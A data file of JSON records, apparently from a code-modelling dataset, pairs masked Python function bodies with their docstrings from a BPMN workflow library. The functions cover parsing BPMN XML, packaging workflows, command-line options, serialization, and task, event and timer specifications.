{"signature": "def _fix_call_activities_signavio(self, bpmn, filename):", "body": "for node in xpath_eval(bpmn)(\"<STR_LIT>\"):<EOL><INDENT>calledElement = node.get('<STR_LIT>', None)<EOL>if not calledElement:<EOL><INDENT>signavioMetaData = xpath_eval(node, extra_ns={<EOL>'<STR_LIT>': SIGNAVIO_NS})(<EOL>'<STR_LIT>')<EOL>if not signavioMetaData:<EOL><INDENT>raise ValidationException(<EOL>'<STR_LIT>',<EOL>node=node, filename=filename)<EOL><DEDENT>subprocess_reference = one(signavioMetaData).get('<STR_LIT>')<EOL>matches = []<EOL>for b in list(self.bpmn.values()):<EOL><INDENT>for p in xpath_eval(b)(\"<STR_LIT>\"):<EOL><INDENT>if (p.get('<STR_LIT:name>', p.get('<STR_LIT:id>', None)) ==<EOL>subprocess_reference):<EOL><INDENT>matches.append(p)<EOL><DEDENT><DEDENT><DEDENT>if not matches:<EOL><INDENT>raise ValidationException(<EOL>\"<STR_LIT>\" %<EOL>subprocess_reference, node=node, filename=filename)<EOL><DEDENT>if len(matches) != <NUM_LIT:1>:<EOL><INDENT>raise ValidationException(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % subprocess_reference, node=node,<EOL>filename=filename)<EOL><DEDENT>node.set('<STR_LIT>', matches[<NUM_LIT:0>].get('<STR_LIT:id>'))<EOL><DEDENT><DEDENT>", "docstring": "Signavio produces slightly invalid BPMN for call activity nodes... It\nis supposed to put a reference to the id of the called process in to\nthe calledElement attribute. Instead it stores a string (which is the\nname of the process - not its ID, in our interpretation) in an\nextension tag.\n\nThis code gets the name of the 'subprocess reference', finds a process\nwith a matching name, and sets the calledElement attribute to the id of\nthe process.", "id": "f7709:c0:m11"}
{"signature": "def package_for_editor_signavio(self, spec, filename):", "body": "signavio_file = filename[:-len('<STR_LIT>')] + '<STR_LIT>'<EOL>if os.path.exists(signavio_file):<EOL><INDENT>self.write_file_to_package_zip(<EOL>\"<STR_LIT>\" + self._get_zip_path(signavio_file), signavio_file)<EOL>f = open(signavio_file, '<STR_LIT:r>')<EOL>try:<EOL><INDENT>signavio_tree = ET.parse(f)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>svg_node = one(signavio_tree.findall('<STR_LIT>'))<EOL>self.write_to_package_zip(\"<STR_LIT>\" % spec.name, svg_node.text)<EOL><DEDENT>", "docstring": "Adds the SVG files to the archive for this BPMN file.", "id": "f7709:c0:m13"}
{"signature": "def write_meta_data(self):", "body": "config = configparser.ConfigParser()<EOL>config.add_section('<STR_LIT>')<EOL>config.set('<STR_LIT>', '<STR_LIT>', self.wf_spec.name)<EOL>if self.editor:<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', self.editor)<EOL><DEDENT>for k, v in self.meta_data:<EOL><INDENT>config.set('<STR_LIT>', k, v)<EOL><DEDENT>if not self.PARSER_CLASS == BpmnParser:<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>',<EOL>inspect.getmodule(self.PARSER_CLASS).__name__)<EOL>config.set('<STR_LIT>', '<STR_LIT>', self.PARSER_CLASS.__name__)<EOL><DEDENT>ini = StringIO()<EOL>config.write(ini)<EOL>self.write_to_package_zip(self.METADATA_FILE, ini.getvalue())<EOL>", "docstring": "Writes the metadata.ini file to the archive.", "id": "f7709:c0:m14"}
{"signature": "@classmethod<EOL><INDENT>def create_option_parser(cls):<DEDENT>", "body": "return OptionParser(<EOL>usage=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>version=\"<STR_LIT>\" % (cls.get_version()))<EOL>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m17"}
{"signature": "@classmethod<EOL><INDENT>def add_main_options(cls, parser):<DEDENT>", "body": "parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT:-c>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\",<EOL>dest=\"<STR_LIT>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>group = OptionGroup(parser, \"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>group.add_option(\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option_group(group)<EOL>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m18"}
{"signature": "@classmethod<EOL><INDENT>def add_additional_options(cls, parser):<DEDENT>", "body": "group = OptionGroup(parser, \"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>group.add_option(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>group.add_option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option_group(group)<EOL>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m19"}
{"signature": "@classmethod<EOL><INDENT>def check_args(cls, config, options, args, parser, package_file=None):<DEDENT>", "body": "if not args:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>if not (package_file or options.package_file):<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>if not options.entry_point_process:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m20"}
{"signature": "@classmethod<EOL><INDENT>def merge_options_and_config(cls, config, options, args):<DEDENT>", "body": "if args:<EOL><INDENT>config.set(CONFIG_SECTION_NAME, '<STR_LIT>', '<STR_LIT:U+002C>'.join(args))<EOL><DEDENT>elif config.has_option(CONFIG_SECTION_NAME, '<STR_LIT>'):<EOL><INDENT>for i in config.get(CONFIG_SECTION_NAME, '<STR_LIT>').split('<STR_LIT:U+002C>'):<EOL><INDENT>if not os.path.isabs(i):<EOL><INDENT>i = os.path.abspath(<EOL>os.path.join(os.path.dirname(options.config_file), i))<EOL><DEDENT>args.append(i)<EOL><DEDENT><DEDENT>cls.merge_option_and_config_str('<STR_LIT>', config, options)<EOL>cls.merge_option_and_config_str('<STR_LIT>', config, options)<EOL>cls.merge_option_and_config_str('<STR_LIT>', config, options)<EOL>cls.merge_option_and_config_str(<EOL>'<STR_LIT>', config, options)<EOL>cls.merge_option_and_config_str('<STR_LIT>', config, options)<EOL>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m21"}
{"signature": "@classmethod<EOL><INDENT>def merge_option_and_config_str(cls, option_name, config, options):<DEDENT>", "body": "opt = getattr(options, option_name, None)<EOL>if opt:<EOL><INDENT>config.set(CONFIG_SECTION_NAME, option_name, opt)<EOL><DEDENT>elif config.has_option(CONFIG_SECTION_NAME, option_name):<EOL><INDENT>setattr(options, option_name, config.get(<EOL>CONFIG_SECTION_NAME, option_name))<EOL><DEDENT>", "docstring": "Utility method to merge an option and config, with the option taking \"\nprecedence", "id": "f7709:c0:m22"}
{"signature": "@classmethod<EOL><INDENT>def create_meta_data(cls, options, args, parser):<DEDENT>", "body": "meta_data = []<EOL>meta_data.append(('<STR_LIT>', cls.get_version()))<EOL>if options.target_engine:<EOL><INDENT>meta_data.append(('<STR_LIT>', options.target_engine))<EOL><DEDENT>if options.target_engine:<EOL><INDENT>meta_data.append(<EOL>('<STR_LIT>', options.target_engine_version))<EOL><DEDENT>return meta_data<EOL>", "docstring": "Override in subclass if required.", "id": "f7709:c0:m23"}
{"signature": "def serialize_workflow(self, workflow, include_spec=False, **kwargs):", "body": "if include_spec:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self._get_workflow_state(workflow)<EOL>", "docstring": ":param workflow: the workflow instance to serialize\n\n:param include_spec: Always set to False (The CompactWorkflowSerializer\nonly supports workflow serialization)", "id": "f7710:c3:m2"}
{"signature": "def deserialize_workflow(self, s_state, workflow_spec=None,<EOL>read_only=False, **kwargs):", "body": "if workflow_spec is None:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>workflow = self.new_workflow(<EOL>workflow_spec, read_only=read_only, **kwargs)<EOL>self._restore_workflow_state(workflow, s_state)<EOL>return workflow<EOL>", "docstring": ":param s_state: the state of the workflow as returned by\nserialize_workflow\n\n:param workflow_spec: the Workflow Spec of the workflow\n(CompactWorkflowSerializer only supports workflow serialization)\n\n:param read_only: (Optional) True if the workflow should be restored in\nREAD ONLY mode\n\nNB: Additional kwargs passed to the deserialize_workflow method will be\npassed to the new_workflow method.", "id": "f7710:c3:m3"}
{"signature": "def new_workflow(self, workflow_spec, read_only=False, **kwargs):", "body": "return BpmnWorkflow(workflow_spec, read_only=read_only, **kwargs)<EOL>", "docstring": "Create a new workflow instance from the given spec and arguments.\n\n:param workflow_spec: the workflow spec to use\n\n:param read_only: this should be in read only mode\n\n:param kwargs: Any extra kwargs passed to the deserialize_workflow\nmethod will be passed through here", "id": "f7710:c3:m4"}
{"signature": "def __init__(self, id, name, documentation, target_task_spec):", "body": "self.id = id<EOL>self.name = name.strip() if name else name<EOL>self.documentation = documentation<EOL>self.target_task_spec = target_task_spec<EOL>", "docstring": "Constructor.", "id": "f7711:c1:m0"}
{"signature": "def __init__(self, wf_spec, name, lane=None, **kwargs):", "body": "super(BpmnSpecMixin, self).__init__(wf_spec, name, **kwargs)<EOL>self.outgoing_sequence_flows = {}<EOL>self.outgoing_sequence_flows_by_id = {}<EOL>self.lane = lane<EOL>self.documentation = None<EOL>", "docstring": "Constructor.\n\n:param lane: Indicates the name of the lane that this task belongs to\n(optional).", "id": "f7711:c2:m0"}
{"signature": "def connect_outgoing(self, taskspec, sequence_flow_id, sequence_flow_name,<EOL>documentation):", "body": "self.connect(taskspec)<EOL>s = SequenceFlow(<EOL>sequence_flow_id, sequence_flow_name, documentation, taskspec)<EOL>self.outgoing_sequence_flows[taskspec.name] = s<EOL>self.outgoing_sequence_flows_by_id[sequence_flow_id] = s<EOL>", "docstring": "Connect this task spec to the indicated child.\n\n:param sequence_flow_id: The ID of the connecting sequenceFlow node.\n\n:param sequence_flow_name: The name of the connecting sequenceFlow\nnode.", "id": "f7711:c2:m1"}
{"signature": "def connect_outgoing_if(self, condition, taskspec, sequence_flow_id,<EOL>sequence_flow_name, documentation):", "body": "self.connect_if(_BpmnCondition(condition), taskspec)<EOL>s = SequenceFlow(<EOL>sequence_flow_id, sequence_flow_name, documentation, taskspec)<EOL>self.outgoing_sequence_flows[taskspec.name] = s<EOL>self.outgoing_sequence_flows_by_id[sequence_flow_id] = s<EOL>", "docstring": "Connect this task spec to the indicated child, if the condition\nevaluates to true. This should only be called if the task has a\nconnect_if method (e.g. ExclusiveGateway).\n\n:param sequence_flow_id: The ID of the connecting sequenceFlow node.\n\n:param sequence_flow_name: The name of the connecting sequenceFlow\nnode.", "id": "f7711:c2:m2"}
{"signature": "def get_outgoing_sequence_flow_by_spec(self, task_spec):", "body": "return self.outgoing_sequence_flows[task_spec.name]<EOL>", "docstring": "Returns the outgoing SequenceFlow targeting the specified task_spec.", "id": "f7711:c2:m3"}
{"signature": "def get_outgoing_sequence_flow_by_id(self, id):", "body": "return self.outgoing_sequence_flows_by_id[id]<EOL>", "docstring": "Returns the outgoing SequenceFlow with the specified ID.", "id": "f7711:c2:m4"}
{"signature": "def has_outgoing_sequence_flow(self, id):", "body": "return id in self.outgoing_sequence_flows_by_id<EOL>", "docstring": "Returns true if the SequenceFlow with the specified ID is leaving this\ntask.", "id": "f7711:c2:m5"}
{"signature": "def get_outgoing_sequence_names(self):", "body": "return sorted([s.name for s in<EOL>list(self.outgoing_sequence_flows_by_id.values())])<EOL>", "docstring": "Returns a list of the names of outgoing sequences. Some may be None.", "id": "f7711:c2:m6"}
{"signature": "def get_outgoing_sequences(self):", "body": "return iter(list(self.outgoing_sequence_flows_by_id.values()))<EOL>", "docstring": "Returns a list of outgoing sequences. Some may be None.", "id": "f7711:c2:m7"}
{"signature": "def accept_message(self, my_task, message):", "body": "return False<EOL>", "docstring": "A subclass should override this method if they want to be notified of\nthe receipt of a message when in a WAITING state.\n\nReturns True if the task did process the message.", "id": "f7711:c2:m8"}
{"signature": "def entering_waiting_state(self, my_task):", "body": "pass<EOL>", "docstring": "Called when a task enters the WAITING state.\n\nA subclass may override this method to do work when this happens.", "id": "f7711:c2:m9"}
{"signature": "def entering_ready_state(self, my_task):", "body": "pass<EOL>", "docstring": "Called when a task enters the READY state.\n\nA subclass may override this method to do work when this happens.", "id": "f7711:c2:m10"}
{"signature": "def entering_complete_state(self, my_task):", "body": "pass<EOL>", "docstring": "Called when a task enters the COMPLETE state.\n\nA subclass may override this method to do work when this happens.", "id": "f7711:c2:m11"}
{"signature": "def entering_cancelled_state(self, my_task):", "body": "pass<EOL>", "docstring": "Called when a task enters the CANCELLED state.\n\nA subclass may override this method to do work when this happens.", "id": "f7711:c2:m12"}
{"signature": "def __init__(self, wf_spec, name, event_definition=None, **kwargs):", "body": "super(IntermediateCatchEvent, self).__init__(wf_spec, name, **kwargs)<EOL>self.event_definition = event_definition<EOL>", "docstring": "Constructor.\n\n:param event_definition: the EventDefinition that we must wait for.", "id": "f7717:c0:m0"}
{"signature": "def __init__(self, wf_spec, name, cancel_activity=None,<EOL>event_definition=None, **kwargs):", "body": "super(BoundaryEvent, self).__init__(<EOL>wf_spec, name, event_definition=event_definition, **kwargs)<EOL>self._cancel_activity = cancel_activity<EOL>", "docstring": "Constructor.\n\n:param cancel_activity: True if this is a Cancelling boundary event.", "id": "f7719:c1:m0"}
{"signature": "def has_fired(self, my_task):", "body": "return my_task._get_internal_data('<STR_LIT>', False)<EOL>", "docstring": "This should return True if the event has occurred (i.e. the task may\nmove from WAITING to READY). This will be called multiple times.", "id": "f7720:c0:m0"}
{"signature": "def __init__(self, message):", "body": "self.message = message<EOL>", "docstring": "Constructor.\n\n:param message: The message to wait for.", "id": "f7720:c2:m0"}
{"signature": "def has_fired(self, my_task):", "body": "return my_task._get_internal_data('<STR_LIT>', False)<EOL>", "docstring": "Returns true if the message was received while the task was in a\nWAITING state.", "id": "f7720:c2:m1"}
{"signature": "def __init__(self, label, dateTime):", "body": "self.label = label<EOL>self.dateTime = dateTime<EOL>", "docstring": "Constructor.\n\n:param label: The label of the event. Used for the description.\n\n:param dateTime: The dateTime expression for the expiry time. This is\npassed to the Script Engine and must evaluate to a datetime.datetime\ninstance.", "id": "f7720:c3:m0"}
{"signature": "def has_fired(self, my_task):", "body": "dt = my_task.workflow.script_engine.evaluate(my_task, self.dateTime)<EOL>if dt is None:<EOL><INDENT>return False<EOL><DEDENT>if dt.tzinfo:<EOL><INDENT>tz = dt.tzinfo<EOL>now = tz.fromutc(datetime.datetime.utcnow().replace(tzinfo=tz))<EOL><DEDENT>else:<EOL><INDENT>now = datetime.datetime.now()<EOL><DEDENT>return now > dt<EOL>", "docstring": "The Timer is considered to have fired if the evaluated dateTime\nexpression is before datetime.datetime.now()", "id": "f7720:c3:m1"}
{"signature": "def __init__(self, wf_spec, name, script, **kwargs):", "body": "super(ScriptTask, self).__init__(wf_spec, name, **kwargs)<EOL>self.script = script<EOL>", "docstring": "Constructor.\n\n:param script: the script that must be executed by the script engine.", "id": "f7721:c0:m0"}
{"signature": "def __init__(self, wf_spec, name, bpmn_wf_spec=None, bpmn_wf_class=None,<EOL>**kwargs):", "body": "super(CallActivity, self).__init__(wf_spec, name, None, **kwargs)<EOL>self.spec = bpmn_wf_spec<EOL>self.wf_class = bpmn_wf_class<EOL>", "docstring": "Constructor.\n\n:param bpmn_wf_spec: the BpmnProcessSpec for the sub process.\n:param bpmn_wf_class: the BpmnWorkflow class to instantiate", "id": "f7723:c0:m0"}
{"signature": "def get_workflow_class(self):", "body": "return self.wf_class<EOL>", "docstring": "Returns the workflow class to instantiate for the sub workflow", "id": "f7723:c0:m3"}
{"signature": "def __init__(self, wf_spec, name, is_terminate_event=False, **kwargs):", "body": "super(EndEvent, self).__init__(wf_spec, name, **kwargs)<EOL>self.is_terminate_event = is_terminate_event<EOL>", "docstring": "Constructor.\n\n:param is_terminate_event: True if this is a terminating end event", "id": "f7724:c0:m0"}
{"signature": "def __init__(self, name=None, description=None, filename=None, svg=None):", "body": "super(BpmnProcessSpec, self).__init__(name=name, filename=filename)<EOL>self.end = _EndJoin(self, '<STR_LIT>' % (self.name))<EOL>end = Simple(self, '<STR_LIT>')<EOL>end.follow(self.end)<EOL>self.svg = svg<EOL>self.description = description<EOL>", "docstring": "Constructor.\n\n:param svg: This provides the SVG representation of the workflow as an\nLXML node. (optional)", "id": "f7725:c1:m0"}
{"signature": "def get_all_lanes(self):", "body": "done = set()<EOL>lanes = set()<EOL>def recursive_find(task_spec):<EOL><INDENT>if task_spec in done:<EOL><INDENT>return<EOL><DEDENT>done.add(task_spec)<EOL>if hasattr(task_spec, '<STR_LIT>') and task_spec.lane:<EOL><INDENT>lanes.add(task_spec.lane)<EOL><DEDENT>if hasattr(task_spec, '<STR_LIT>'):<EOL><INDENT>recursive_find(task_spec.spec.start)<EOL><DEDENT>for t in task_spec.outputs:<EOL><INDENT>recursive_find(t)<EOL><DEDENT><DEDENT>recursive_find(self.start)<EOL>return lanes<EOL>", "docstring": "Returns a set of the distinct lane names used in the process (including\ncalled activities)", "id": "f7725:c1:m1"}
{"signature": "def get_specs_depth_first(self):", "body": "done = set()<EOL>specs = [self]<EOL>def recursive_find(task_spec):<EOL><INDENT>if task_spec in done:<EOL><INDENT>return<EOL><DEDENT>done.add(task_spec)<EOL>if hasattr(task_spec, '<STR_LIT>'):<EOL><INDENT>specs.append(task_spec.spec)<EOL>recursive_find(task_spec.spec.start)<EOL><DEDENT>for t in task_spec.outputs:<EOL><INDENT>recursive_find(t)<EOL><DEDENT><DEDENT>recursive_find(self.start)<EOL>return specs<EOL>", "docstring": "Get the specs for all processes (including called ones), in depth first\norder.", "id": "f7725:c1:m2"}
{"signature": "def to_html_string(self):", "body": "html = ET.Element('<STR_LIT:html>')<EOL>head = ET.SubElement(html, '<STR_LIT>')<EOL>title = ET.SubElement(head, '<STR_LIT:title>')<EOL>title.text = self.description<EOL>body = ET.SubElement(html, '<STR_LIT:body>')<EOL>h1 = ET.SubElement(body, '<STR_LIT>')<EOL>h1.text = self.description<EOL>span = ET.SubElement(body, '<STR_LIT>')<EOL>span.text = '<STR_LIT>'<EOL>html_text = ET.tostring(html)<EOL>svg_content = '<STR_LIT>'<EOL>svg_done = set()<EOL>for spec in self.get_specs_depth_first():<EOL><INDENT>if spec.svg and spec.svg not in svg_done:<EOL><INDENT>svg_content += '<STR_LIT>' + spec.svg + \"<STR_LIT>\"<EOL>svg_done.add(spec.svg)<EOL><DEDENT><DEDENT>return html_text.replace('<STR_LIT>', svg_content)<EOL>", "docstring": "Returns an etree HTML node with a document describing the process. This\nis only supported if the editor provided an SVG representation.", "id": "f7725:c1:m3"}
{"signature": "def evaluate(self, task, expression):", "body": "if isinstance(expression, Operator):<EOL><INDENT>return expression._matches(task)<EOL><DEDENT>else:<EOL><INDENT>return self._eval(task, expression, **task.data)<EOL><DEDENT>", "docstring": "Evaluate the given expression, within the context of the given task and\nreturn the result.", "id": "f7727:c0:m0"}
{"signature": "def execute(self, task, script, **kwargs):", "body": "locals().update(kwargs)<EOL>exec(script)<EOL>", "docstring": "Execute the script, within the context of the specified task", "id": "f7727:c0:m1"}
{"signature": "def handles_multiple_outgoing(self):", "body": "return False<EOL>", "docstring": "At the moment I haven't implemented support for diverging inclusive\ngateways", "id": "f7728:c7:m0"}
{"signature": "def get_script(self):", "body": "return one(self.xpath('<STR_LIT>')).text<EOL>", "docstring": "Gets the script content from the node. A subclass can override this\nmethod, if the script needs to be pre-parsed. The result of this call\nwill be passed to the Script Engine for execution.", "id": "f7728:c9:m1"}
{"signature": "def get_event_definition(self):", "body": "messageEventDefinition = first(<EOL>self.xpath('<STR_LIT>'))<EOL>if messageEventDefinition is not None:<EOL><INDENT>return self.get_message_event_definition(messageEventDefinition)<EOL><DEDENT>timerEventDefinition = first(<EOL>self.xpath('<STR_LIT>'))<EOL>if timerEventDefinition is not None:<EOL><INDENT>return self.get_timer_event_definition(timerEventDefinition)<EOL><DEDENT>raise NotImplementedError(<EOL>'<STR_LIT>', ET.tostring(self.node))<EOL>", "docstring": "Parse the event definition node, and return an instance of Event", "id": "f7728:c10:m1"}
{"signature": "def get_message_event_definition(self, messageEventDefinition):", "body": "messageRef = first(self.xpath('<STR_LIT>'))<EOL>message = messageRef.get(<EOL>'<STR_LIT:name>') if messageRef is not None else self.node.get('<STR_LIT:name>')<EOL>return MessageEventDefinition(message)<EOL>", "docstring": "Parse the messageEventDefinition node and return an instance of\nMessageEventDefinition", "id": "f7728:c10:m2"}
{"signature": "def get_timer_event_definition(self, timerEventDefinition):", "body": "timeDate = first(self.xpath('<STR_LIT>'))<EOL>return TimerEventDefinition(<EOL>self.node.get('<STR_LIT:name>', timeDate.text),<EOL>self.parser.parse_condition(<EOL>timeDate.text, None, None, None, None, self))<EOL>", "docstring": "Parse the timerEventDefinition node and return an instance of\nTimerEventDefinition\n\nThis currently only supports the timeDate node for specifying an expiry\ntime for the timer.", "id": "f7728:c10:m3"}
{"signature": "def __init__(self):", "body": "self.process_parsers = {}<EOL>self.process_parsers_by_name = {}<EOL>", "docstring": "Constructor.", "id": "f7729:c0:m0"}
{"signature": "def get_process_parser(self, process_id_or_name):", "body": "if process_id_or_name in self.process_parsers_by_name:<EOL><INDENT>return self.process_parsers_by_name[process_id_or_name]<EOL><DEDENT>else:<EOL><INDENT>return self.process_parsers[process_id_or_name]<EOL><DEDENT>", "docstring": "Returns the ProcessParser for the given process ID or name. It matches\nby name first.", "id": "f7729:c0:m2"}
{"signature": "def add_bpmn_file(self, filename):", "body": "self.add_bpmn_files([filename])<EOL>", "docstring": "Add the given BPMN filename to the parser's set.", "id": "f7729:c0:m3"}
{"signature": "def add_bpmn_files_by_glob(self, g):", "body": "self.add_bpmn_files(glob.glob(g))<EOL>", "docstring": "Add all filenames matching the provided pattern (e.g. *.bpmn) to the\nparser's set.", "id": "f7729:c0:m4"}
{"signature": "def add_bpmn_files(self, filenames):", "body": "for filename in filenames:<EOL><INDENT>f = open(filename, '<STR_LIT:r>')<EOL>try:<EOL><INDENT>self.add_bpmn_xml(ET.parse(f), filename=filename)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT><DEDENT>", "docstring": "Add all filenames in the given list to the parser's set.", "id": "f7729:c0:m5"}
{"signature": "def add_bpmn_xml(self, bpmn, svg=None, filename=None):", "body": "xpath = xpath_eval(bpmn)<EOL>processes = xpath('<STR_LIT>')<EOL>for process in processes:<EOL><INDENT>process_parser = self.PROCESS_PARSER_CLASS(<EOL>self, process, svg, filename=filename, doc_xpath=xpath)<EOL>if process_parser.get_id() in self.process_parsers:<EOL><INDENT>raise ValidationException(<EOL>'<STR_LIT>', node=process, filename=filename)<EOL><DEDENT>if process_parser.get_name() in self.process_parsers_by_name:<EOL><INDENT>raise ValidationException(<EOL>'<STR_LIT>', node=process, filename=filename)<EOL><DEDENT>self.process_parsers[process_parser.get_id()] = process_parser<EOL>self.process_parsers_by_name[<EOL>process_parser.get_name()] = process_parser<EOL><DEDENT>", "docstring": "Add the given lxml representation of the BPMN file to the parser's set.\n\n:param svg: Optionally, provide the text data for the SVG of the BPMN\n  file\n:param filename: Optionally, provide the source filename.", "id": "f7729:c0:m6"}
{"signature": "def parse_condition(self, condition_expression, outgoing_task,<EOL>outgoing_task_node, sequence_flow_node,<EOL>condition_expression_node, task_parser):", "body": "return condition_expression<EOL>", "docstring": "Pre-parse the given condition expression, and return the parsed\nversion. The returned version will be passed to the Script Engine for\nevaluation.", "id": "f7729:c0:m8"}
{"signature": "def parse_documentation(self, documentation_node, node, node_xpath,<EOL>task_parser=None):", "body": "return None if documentation_node is None else documentation_node.text<EOL>", "docstring": "Pre-parse the documentation node for the given node and return the\ntext.", "id": "f7729:c0:m10"}
{"signature": "def get_spec(self, process_id_or_name):", "body": "return self.get_process_parser(process_id_or_name).get_spec()<EOL>", "docstring": "Parses the required subset of the BPMN files, in order to provide an\ninstance of BpmnProcessSpec (i.e. WorkflowSpec)\nfor the given process ID or name. The Name is matched first.", "id": "f7729:c0:m11"}
{"signature": "def one(nodes, or_none=False):", "body": "if not nodes and or_none:<EOL><INDENT>return None<EOL><DEDENT>assert len(<EOL>nodes) == <NUM_LIT:1>, '<STR_LIT>' % (len(nodes))<EOL>return nodes[<NUM_LIT:0>]<EOL>", "docstring": "Assert that there is exactly one node in the give list, and return it.", "id": "f7730:m0"}
{"signature": "def first(nodes):", "body": "if len(nodes) >= <NUM_LIT:1>:<EOL><INDENT>return nodes[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the first node in the given list, or None, if the list is empty.", "id": "f7730:m1"}
{"signature": "def xpath_eval(node, extra_ns=None):", "body": "namespaces = {'<STR_LIT>': BPMN_MODEL_NS}<EOL>if extra_ns:<EOL><INDENT>namespaces.update(extra_ns)<EOL><DEDENT>return lambda path: node.findall(path, namespaces)<EOL>", "docstring": "Returns an XPathEvaluator, with namespace prefixes 'bpmn' for\nhttp://www.omg.org/spec/BPMN/20100524/MODEL, and additional specified ones", "id": "f7730:m2"}
{"signature": "def full_tag(tag):", "body": "return '<STR_LIT>' % (BPMN_MODEL_NS, tag)<EOL>", "docstring": "Return the full tag name including namespace for the given BPMN tag. In\nother words, the name with namespace\nhttp://www.omg.org/spec/BPMN/20100524/MODEL", "id": "f7730:m3"}
{"signature": "def __init__(self, p, node, svg=None, filename=None, doc_xpath=None):", "body": "self.parser = p<EOL>self.node = node<EOL>self.doc_xpath = doc_xpath<EOL>self.xpath = xpath_eval(node)<EOL>self.spec = BpmnProcessSpec(<EOL>name=self.get_id(), description=self.get_name(), svg=svg,<EOL>filename=filename)<EOL>self.parsing_started = False<EOL>self.is_parsed = False<EOL>self.parsed_nodes = {}<EOL>self.svg = svg<EOL>self.filename = filename<EOL>self.id_to_lane_lookup = None<EOL>self._init_lane_lookup()<EOL>", "docstring": "Constructor.\n\n:param p: the owning BpmnParser instance\n:param node: the XML node for the process\n:param svg: the SVG representation of this process as a string\n  (optional)\n:param filename: the source BPMN filename (optional)", "id": "f7731:c0:m0"}
{"signature": "def get_id(self):", "body": "return self.node.get('<STR_LIT:id>')<EOL>", "docstring": "Returns the process ID", "id": "f7731:c0:m1"}
{"signature": "def get_name(self):", "body": "return self.node.get('<STR_LIT:name>', default=self.get_id())<EOL>", "docstring": "Returns the process name (or ID, if no name is included in the file)", "id": "f7731:c0:m2"}
{"signature": "def parse_node(self, node):", "body": "if node.get('<STR_LIT:id>') in self.parsed_nodes:<EOL><INDENT>return self.parsed_nodes[node.get('<STR_LIT:id>')]<EOL><DEDENT>(node_parser, spec_class) = self.parser._get_parser_class(node.tag)<EOL>if not node_parser or not spec_class:<EOL><INDENT>raise ValidationException(<EOL>\"<STR_LIT>\",<EOL>node=node, filename=self.filename)<EOL><DEDENT>np = node_parser(self, spec_class, node)<EOL>task_spec = np.parse_node()<EOL>return task_spec<EOL>", "docstring": "Parses the specified child task node, and returns the task spec. This\ncan be called by a TaskParser instance, that is owned by this\nProcessParser.", "id": "f7731:c0:m3"}
{"signature": "def get_lane(self, id):", "body": "return self.id_to_lane_lookup.get(id, None)<EOL>", "docstring": "Return the name of the lane that contains the specified task", "id": "f7731:c0:m4"}
{"signature": "def get_spec(self):", "body": "if self.is_parsed:<EOL><INDENT>return self.spec<EOL><DEDENT>if self.parsing_started:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>')<EOL><DEDENT>self._parse()<EOL>return self.get_spec()<EOL>", "docstring": "Parse this process (if it has not already been parsed), and return the\nworkflow spec.", "id": "f7731:c0:m7"}
{"signature": "def __init__(self, process_parser, spec_class, node):", "body": "self.parser = process_parser.parser<EOL>self.process_parser = process_parser<EOL>self.spec_class = spec_class<EOL>self.process_xpath = self.process_parser.xpath<EOL>self.spec = self.process_parser.spec<EOL>self.node = node<EOL>self.xpath = xpath_eval(node)<EOL>", "docstring": "Constructor.\n\n:param process_parser: the owning process parser instance\n:param spec_class: the type of spec that should be created. This allows\n  a subclass of BpmnParser to provide a specialised spec class, without\n  extending the TaskParser.\n:param node: the XML node for this task", "id": "f7732:c0:m0"}
